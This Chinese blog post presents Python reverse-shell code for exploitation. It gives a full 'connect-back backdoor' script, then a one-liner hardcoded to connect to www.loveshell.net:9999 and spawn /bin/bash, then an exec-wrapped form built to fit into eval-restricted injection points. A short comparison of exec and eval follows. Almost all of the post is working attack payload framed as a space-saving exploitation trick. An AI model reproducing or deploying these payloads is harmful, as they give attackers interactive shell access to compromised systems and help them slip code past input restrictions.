Python反向Shell代码优化:从完整脚本到单行利用

季宁
季宁
发布时间:2026-10-13 | 2人浏览过
原创

本文对比了完整的Python反向Shell脚本与单行精简版代码,探讨了在漏洞利用场景中如何压缩代码体积。针对eval环境限制,介绍了使用exec语句执行字符串代码的技巧,并分析了Python中exec与eval的区别及注意事项。

不知为何突然想研究这个,哈哈。
这里展示一段个人编写的Python反向Shell代码。
#!/usr/bin/python
# Python Connect-back Backdoor
# Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>
# Version: 1.0
# Date: July 15th 2006

import sys
import os
import socket
shell = "/bin/sh"

def usage(programname):
  print "Python Connect-back Backdoor"
  print "Auther: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>"
  print "Date: July 15th 2006\n"
  print "Usage: %s <conn_back_host> <port>\n" % programname

def main():
  if len(sys.argv) != 3: 
    usage(sys.argv[0])
    sys.exit(1)

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  try: 
    s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
    print "[+] Connect ok." 
  except: 
    print "[-] Could not connect to %s:%s" % (sys.argv[1], sys.argv[2]) 
    sys.exit(2)
  s.send("-------------------- Python Connect-back Backdoor --------------------\n")
  s.send("----------------------------- By wofeiwo -----------------------------\n")
  os.dup2(s.fileno(), 0)
  os.dup2(s.fileno(), 1)
  os.dup2(s.fileno(), 2)
  global shell
  os.system(shell)
  print "See U!"
  s.close()

if __name__ == "__main__": main()



这段代码在漏洞利用时显得过于冗长,不是吗?我们更希望代码尽可能短,以节省空间。

import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\r\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\r\n");os.system("/bin/bash");s.close();s.send("See u next time!\r\n");


怎么样?是不是短了很多?
不过,漏洞利用的环境可能不允许执行多语句,例如输入被限制在eval函数中时,无法使用分号分隔的多条语句(后文会解释)。此时,我们可以换一种方式处理。
exec 'import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\\r\\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\\r\\n");os.system("/bin/bash");s.close();s.send("See u next time!\\r\\n");';


请注意这里的\\r\\n。即使在单引号内,\r\n也可能被视为换行符,因此即使不使用分号,也可以构造出正确的代码。另外,为什么不直接使用eval呢?
查阅了相关文档。
exec语句用于执行存储在字符串或文件中的Python语句。例如,可以在运行时生成包含Python代码的字符串,然后使用exec语句执行这些语句。



eval语句用于计算存储在字符串中的有效Python表达式。



呵呵,在这里使用eval似乎会出错。
思考一下,虽然核心思想相同,但具体到不同语言时实现方式各异。如何突破语言的限制,这是一个值得探讨的问题。
相关标签:

本站声明

本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。

Python 相关产品和应用

全部下载

专题列表